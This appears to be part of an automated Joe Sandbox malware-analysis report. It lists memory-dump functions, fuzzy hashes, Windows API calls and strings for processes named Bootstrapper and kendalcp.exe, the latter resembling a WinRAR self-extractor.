Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d76bd8986742c372a66306ee813ed8e3c7adb2051abea28a39b706aacfc7a74e
Instruction ID: 845b3b64e3d03b0b12d298c20baefc4392a7f02d30b3d0eb37483acba7e2f721
Opcode Fuzzy Hash: d76bd8986742c372a66306ee813ed8e3c7adb2051abea28a39b706aacfc7a74e
Instruction Fuzzy Hash: 1BE02B29F0FD4E07DEDCAA398CB201035D1EBAC204BE500ACD80CC2291FC1AD883C741

Function 00007FFD9B8B59D0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de468debe682384a4ada51a86ca342db9928b04da778ab81132a384b1a51b698
Instruction ID: 19e9b6ea787fefddbc1a9f4b14e33bf4e86650a05b8807d109e899b493a572b8
Opcode Fuzzy Hash: de468debe682384a4ada51a86ca342db9928b04da778ab81132a384b1a51b698
Instruction Fuzzy Hash: C8E0C231E1AA5A47E758ABB64C5907A71D1FBCC201F854E76DC8CC00B0FA2CC3C98A82

Function 00007FFD9B8CFD40 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c010d6687d985a34e963e58525f102dc5a31f656e5924279b8c09e61a8ac39d
Instruction ID: 46bf2a806d2bf6acd55b75355359aaa66a1bd599d1b7e552c5ccd806e336178d
Opcode Fuzzy Hash: 8c010d6687d985a34e963e58525f102dc5a31f656e5924279b8c09e61a8ac39d
Instruction Fuzzy Hash: 0AE0D8B001E3D00FD316573448351A4BFA0AF43204F8905EED4D9CB0A3C66C5249C743

Function 00007FFD9B8B59E0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d606a3eff54a8afc23c6f3d9692f99aba78f197071398acf0b125e50e4cf453a
Instruction ID: c7cb3d4587d211785cbca4a40d5d17c13d1996f2c32126ad481cdc9532aecd13
Opcode Fuzzy Hash: d606a3eff54a8afc23c6f3d9692f99aba78f197071398acf0b125e50e4cf453a
Instruction Fuzzy Hash: 76D02B30A28D2D06EBA0B738502C6F963C0CB58310F050637FC0DD21B4DC485A820AC5

Function 00007FFD9B8BEE20 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7370549c6e9f6d9641276fead713b3c64471622fc1f27d765858f930c527f249
Instruction ID: c6be6a7a8f8ea2f2d42cfcf3e1505cd44eb65976f113f16d0c42cbb8dcaae024
Opcode Fuzzy Hash: 7370549c6e9f6d9641276fead713b3c64471622fc1f27d765858f930c527f249
Instruction Fuzzy Hash: DAE04F2115FA9E5FCA82BB7C4D160987BA09F06650B0584E9D4488F1E2E11C480E8742

Function 00007FFD9B8B04D8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c6999d4f657c562261054d59482c739481c366ec76cf0b5a7dc249eb2223f4e
Instruction ID: da6a5f56fe74656525deb36118450df56eb327dbc8316f0a898e67317b3a38e1
Opcode Fuzzy Hash: 3c6999d4f657c562261054d59482c739481c366ec76cf0b5a7dc249eb2223f4e
Instruction Fuzzy Hash: 6AD05E20F5982D09FB78329C68217B89081CB48214F521077E41DD31CBDD8D1D9902C6

Function 00007FFD9B8B3B2E Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05910076bd75b5dc0870fe2ef1ef7bf67879d1a3d0de2bf540f0e0cc50d7c326
Instruction ID: 59cfc2a7e65bbafb7d91d0542d15507a9cac686e6622d28c3aa5040af547d70b
Opcode Fuzzy Hash: 05910076bd75b5dc0870fe2ef1ef7bf67879d1a3d0de2bf540f0e0cc50d7c326
Instruction Fuzzy Hash: 0BD02B31E04A0D4FDFC4EFACC8715ADB7B2FB9D300F1102259018D31E2C63468408780

Function 00007FFD9B8CB81B Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec165bcac369b88a34389ca343ad9fc8b1ed0303d8b9caf86a10fc3de0cc5e70
Instruction ID: af2abdead01a0d9ed5ba619f87b37db3b853f45794b474bb7e16a0f7505ceade
Opcode Fuzzy Hash: ec165bcac369b88a34389ca343ad9fc8b1ed0303d8b9caf86a10fc3de0cc5e70
Instruction Fuzzy Hash: AAD0C721B19E090B976DA77C78515AAA2E1FB9423075047B6D07AC32CDFE2894434341

Function 00007FFD9B8B3B59 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b199c7db29a0555a7ea2d430dad342ee8e14e956db0a55e7f56215082f33101
Instruction ID: 292888ea86edddc50c69dfe8b027adde3be9c2fe8bbe8dbb5e830345a13a6b54
Opcode Fuzzy Hash: 3b199c7db29a0555a7ea2d430dad342ee8e14e956db0a55e7f56215082f33101
Instruction Fuzzy Hash: BAC08C32F0481C8E8F80EBDCB0016ECBBF0EB8C221F041033D10CE3110CE2014504B90

Non-executed Functions

Function 00007FFD9B8B85FA Relevance: 5.1, Strings: 4, Instructions: 93COMMON

Download Yara Rule

Strings

K_^#, xrefs: 00007FFD9B8B86C2
K_^, xrefs: 00007FFD9B8B85FA
K_^, xrefs: 00007FFD9B8B8622
K_^$, xrefs: 00007FFD9B8B86CA

Memory Dump Source

Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID: K_^$K_^$K_^#$K_^$
API String ID: 0-2382080200
Opcode ID: 196d88c56dfe2e603cd21af5a43d4e85ea8191b11385e5b67e0447edc417194c
Instruction ID: 4c5d797e4fccb4afa1eb8ae12f49adafd5f755eda062cbc2c7008edff6914411
Opcode Fuzzy Hash: 196d88c56dfe2e603cd21af5a43d4e85ea8191b11385e5b67e0447edc417194c
Instruction Fuzzy Hash: F031E0B2F1E67A49D63B57A9E4680E5A790AF16324B0B06FBC06DD70E3EC14350606C5

Function 00007FFD9B8B8BFA Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

K_^, xrefs: 00007FFD9B8B8C12
K_^, xrefs: 00007FFD9B8B8C6A
K_^, xrefs: 00007FFD9B8B8C7A
K_^, xrefs: 00007FFD9B8B8C2A

Memory Dump Source

Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID: K_^$K_^$K_^$K_^
API String ID: 0-4267328068
Opcode ID: 781757463308fe024f8e264abdd21aa5880a85c001ebb09928a016dcbc5182f9
Instruction ID: 14588d48721bb4313e198c7e3bb6c004e05fd3f82070a1bff27e79456fc74324
Opcode Fuzzy Hash: 781757463308fe024f8e264abdd21aa5880a85c001ebb09928a016dcbc5182f9
Instruction Fuzzy Hash: BA21A3F3A0B6555FEB964B6E8CAD49437E0FF2461835F01F6C0A8CB1A3FD19A60B4641

Function 00007FFD9B8B8BF8 Relevance: 5.1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

Strings

K_^, xrefs: 00007FFD9B8B8C12
K_^, xrefs: 00007FFD9B8B8C6A
K_^, xrefs: 00007FFD9B8B8C7A
K_^, xrefs: 00007FFD9B8B8C2A

Memory Dump Source

Source File: 00000001.00000002.2001399559.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_Bootstrapper.jbxd

Similarity

API ID:
String ID: K_^$K_^$K_^$K_^
API String ID: 0-4267328068
Opcode ID: cd5c150e81e31adae34277cee8269a4769e06c0aa676d7e0237e113c2d72e40a
Instruction ID: e28d87b8dfc49b21deeeb0af2a2d45bd4aebb2197c7d26fcc4c675fadaf05ce5
Opcode Fuzzy Hash: cd5c150e81e31adae34277cee8269a4769e06c0aa676d7e0237e113c2d72e40a
Instruction Fuzzy Hash: CA21B5F2A0B5655FE7564B7E88AD49037F0FF2061831F01F6C0A88B0A3ED19664B4645

Analysis Process: kendalcp.exePID: 1612, Parent PID: 2108COMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.2%
Total number of Nodes:	1474
Total number of Limit Nodes:	30

Executed Functions

Function 0071D5D4 Relevance: 42.2, APIs: 17, Strings: 7, Instructions: 197
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007100CF: GetModuleHandleW.KERNEL32(kernel32), ref: 007100E4
Part of subcall function 007100CF: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 007100F6
Part of subcall function 007100CF: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00710127

Part of subcall function 00719DA4: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00719DAC

Part of subcall function 0071A335: OleInitialize.OLE32(00000000), ref: 0071A34E
Part of subcall function 0071A335: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0071A385
Part of subcall function 0071A335: SHGetMalloc.SHELL32(00748430), ref: 0071A38F

Part of subcall function 007113B3: GetCPInfo.KERNEL32(00000000,?), ref: 007113C4
Part of subcall function 007113B3: IsDBCSLeadByte.KERNEL32(00000000), ref: 007113D8

GetCommandLineW.KERNEL32 ref: 0071D61C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0071D643
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 0071D654
UnmapViewOfFile.KERNEL32(00000000), ref: 0071D68E

Part of subcall function 0071D287: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0071D29D
Part of subcall function 0071D287: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0071D2D9

CloseHandle.KERNEL32(00000000), ref: 0071D697
GetModuleFileNameW.KERNEL32(00000000,0075DC90,00000800), ref: 0071D6B2
SetEnvironmentVariableW.KERNEL32(sfxname,0075DC90), ref: 0071D6BE
GetLocalTime.KERNEL32(?), ref: 0071D6C9
_swprintf.LIBCMT ref: 0071D708
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0071D71A
GetModuleHandleW.KERNEL32(00000000), ref: 0071D721
LoadIconW.USER32(00000000,00000064), ref: 0071D738
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001AEE0,00000000), ref: 0071D789
Sleep.KERNEL32(?), ref: 0071D7B7
DeleteObject.GDI32 ref: 0071D7F0
DeleteObject.GDI32(?), ref: 0071D800
CloseHandle.KERNEL32 ref: 0071D843

Strings

%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0071D6F9
xju, xrefs: 0071D7CB
STARTDLG, xrefs: 0071D77E
sfxname, xrefs: 0071D6B9
sfxstime, xrefs: 0071D715
winrarsfxmappingfile.tmp, xrefs: 0071D637
C:\Users\user\Desktop, xrefs: 0071D5E9

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$xju
API String ID: 788466649-1055000472
Opcode ID: 81682741cf930160e05c564d12a096c1d87bfc7912f792b3849847f2678d38e2
Instruction ID: cd4d4fbde7d050c6699998ce541b342bca84c37c72fc520a2a37b73dd8c5a8bb
Opcode Fuzzy Hash: 81682741cf930160e05c564d12a096c1d87bfc7912f792b3849847f2678d38e2
Instruction Fuzzy Hash: 9061E6B1900345EFE330AF6CDC49BAA77A8AB45742F044429F945921D2DBBCDD84CB66

Function 00719E1C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(0071AE4D,PNG,?,?,?,0071AE4D,00000066), ref: 00719E2E
SizeofResource.KERNEL32(00000000,00000000,?,?,?,0071AE4D,00000066), ref: 00719E46
LoadResource.KERNEL32(00000000,?,?,?,0071AE4D,00000066), ref: 00719E59
LockResource.KERNEL32(00000000,?,?,?,0071AE4D,00000066), ref: 00719E64
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0071AE4D,00000066), ref: 00719E82
GlobalLock.KERNEL32 ref: 00719E93
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00719EB7
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00719EFC
GlobalUnlock.KERNEL32(00000000), ref: 00719F1B
GlobalFree.KERNEL32 ref: 00719F22

Strings

PNG, xrefs: 00719E1F

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: PNG
API String ID: 3656887471-364855578
Opcode ID: c606cf214f1b8959ff978ea80bb71d300a3caad0c391d6ae02137c8903b46dd8
Instruction ID: 950d68c8995f1192490456ba6511ee83620976e41a54932352761760ec4c364b
Opcode Fuzzy Hash: c606cf214f1b8959ff978ea80bb71d300a3caad0c391d6ae02137c8903b46dd8
Instruction Fuzzy Hash: A031D575204706AFD7209F25DC58D9BBBADFF85752B044518FA02D22A0DB3DDC42CAA5

Function 0070A5F4 Relevance: 7.6, APIs: 5, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0070A4EF,000000FF,?,?), ref: 0070A628
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0070A4EF,000000FF,?,?), ref: 0070A65E
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0070A4EF,000000FF,?,?), ref: 0070A66A
FindNextFileW.KERNEL32(?,?,?,?,?,?,0070A4EF,000000FF,?,?), ref: 0070A692
GetLastError.KERNEL32(?,?,?,?,0070A4EF,000000FF,?,?), ref: 0070A69E

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 09cffd15026540b96b9189dcbe864af2749d46b646a00697498896d630703cf5
Instruction ID: cda0ee40c82c1086a0ebc80bb17a1ec3941919796d01f20f278ba2abac79e94f
Opcode Fuzzy Hash: 09cffd15026540b96b9189dcbe864af2749d46b646a00697498896d630703cf5
Instruction Fuzzy Hash: 5B414276604345EFC324EF68C884ADAF7F8BF48350F044B29F599D3280D779A9948B92

Function 0072753D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00727513,00000000,0073BAD8,0000000C,0072766A,00000000,00000002,00000000), ref: 0072755E
TerminateProcess.KERNEL32(00000000,?,00727513,00000000,0073BAD8,0000000C,0072766A,00000000,00000002,00000000), ref: 00727565
ExitProcess.KERNEL32 ref: 00727577

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: bb7c69eb3371ebd4f5c825ed610a9dea210e563f3fec360a865fb0dff87a6710
Instruction ID: 7e120ea8f1568aff37b8508e759e9e044f9b10917ff491b41e4af8fbf7518c7a
Opcode Fuzzy Hash: bb7c69eb3371ebd4f5c825ed610a9dea210e563f3fec360a865fb0dff87a6710
Instruction Fuzzy Hash: 77E0B631004958EBDF25AF65EE0DA497B6AEB40742F10C418F9098A232CB3DDE52CA55

Function 0070857B Relevance: 3.9, APIs: 2, Instructions: 947COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00708580
_memcmp.LIBVCRUNTIME ref: 00708A08

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: 4b4332c25bc27cc4d619888426109812a8c07ae42fa2ab064c42e8af5da4bcef
Instruction ID: 916d1b5c9d50cf9a435e66229f086e31264ffa15478ba8284e7ad209cabed516
Opcode Fuzzy Hash: 4b4332c25bc27cc4d619888426109812a8c07ae42fa2ab064c42e8af5da4bcef
Instruction Fuzzy Hash: 4F824A70904245EEDF25DB64C885BFAB7F9AF15300F0843B9E9899B2C3DB395A44CB61

Function 0071AEE0 Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0071AEE5

Part of subcall function 0070130B: GetDlgItem.USER32(00000000,00003021), ref: 0070134F
Part of subcall function 0070130B: SetWindowTextW.USER32(00000000,007335B4), ref: 00701365

Strings

LICENSEDLG, xrefs: 0071B771
STARTDLG, xrefs: 0071AF04
@, xrefs: 0071B2A7
<, xrefs: 0071B29A
__tmp_rar_sfx_access_check_%u, xrefs: 0071B1CB
winrarsfxmappingfile.tmp, xrefs: 0071B2BC
C:\Users\user\Desktop, xrefs: 0071B2DF
-el -s2 "-d%s" "-sp%s", xrefs: 0071B281
"%s"%s, xrefs: 0071B423

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-8108337
Opcode ID: 6b09a90e86196e33c206242683fa4bb2324165efcc512fe01f81fa9adee6ca46
Instruction ID: 9e38b2c9c0090ccf9f6a87e2b8fae5989a76f2c8a805e6d3763d2c8bd800e943
Opcode Fuzzy Hash: 6b09a90e86196e33c206242683fa4bb2324165efcc512fe01f81fa9adee6ca46
Instruction Fuzzy Hash: 8A42C8B0944358FEEB21AFB89C49FEE777CAB02701F008155F641A61D2CBBC5985CB66

Function 007100CF Relevance: 98.3, APIs: 22, Strings: 34, Instructions: 317
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 007100E4
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 007100F6
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00710127
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 007103D4
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007103F0
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00710402
ReadFile.KERNEL32(00000000,?,00007FFE,00733BA4,00000000), ref: 00710421
CloseHandle.KERNEL32(00000000), ref: 00710479
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0071048F
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 007104E7
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00000000,?,00000800), ref: 00710510
GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 0071054A

Part of subcall function 00710085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 007100A0
Part of subcall function 00710085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0070EB86,Crypt32.dll,00000000,0070EC0A,?,?,0070EBEC,?,?,?), ref: 007100C2

_swprintf.LIBCMT ref: 007105BE
_swprintf.LIBCMT ref: 0071060A

Part of subcall function 0070400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0070401D

AllocConsole.KERNEL32 ref: 00710612
GetCurrentProcessId.KERNEL32 ref: 0071061C
AttachConsole.KERNEL32(00000000), ref: 00710623
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00710649
WriteConsoleW.KERNEL32(00000000), ref: 00710650
Sleep.KERNEL32(00002710), ref: 0071065B
FreeConsole.KERNEL32 ref: 00710661
ExitProcess.KERNEL32 ref: 00710669

Strings

<?s, xrefs: 007102B5
(>s, xrefs: 0071023C
8<s, xrefs: 00710194
?s, xrefs: 007102AA
(@s, xrefs: 00710323
|<s, xrefs: 007101AC
DXGIDebug.dll, xrefs: 00710169, 007104D3
\As, xrefs: 007103A7
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 007105F8
p?s, xrefs: 007102CB
kernel32, xrefs: 007100DD
T?s, xrefs: 007102C0
@@s, xrefs: 0071032E
D=s, xrefs: 007101F4
<s, xrefs: 0071018C
DAs, xrefs: 0071039C
@>s, xrefs: 00710247
4=s, xrefs: 007101EC
uxtheme.dll, xrefs: 0071058B
p>s, xrefs: 0071025D
p@s, xrefs: 00710344
?s, xrefs: 00710302
>s, xrefs: 00710289
x=s, xrefs: 00710204
SetDefaultDllDirectories, xrefs: 00710121
0As, xrefs: 00710391
T;s, xrefs: 00710154
P<s, xrefs: 0071019C
l<s, xrefs: 0071055C
X@s, xrefs: 00710339
`=s, xrefs: 007101FC
SetDllDirectoryW, xrefs: 007100F0
X>s, xrefs: 00710252
dwmapi.dll, xrefs: 00710581

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
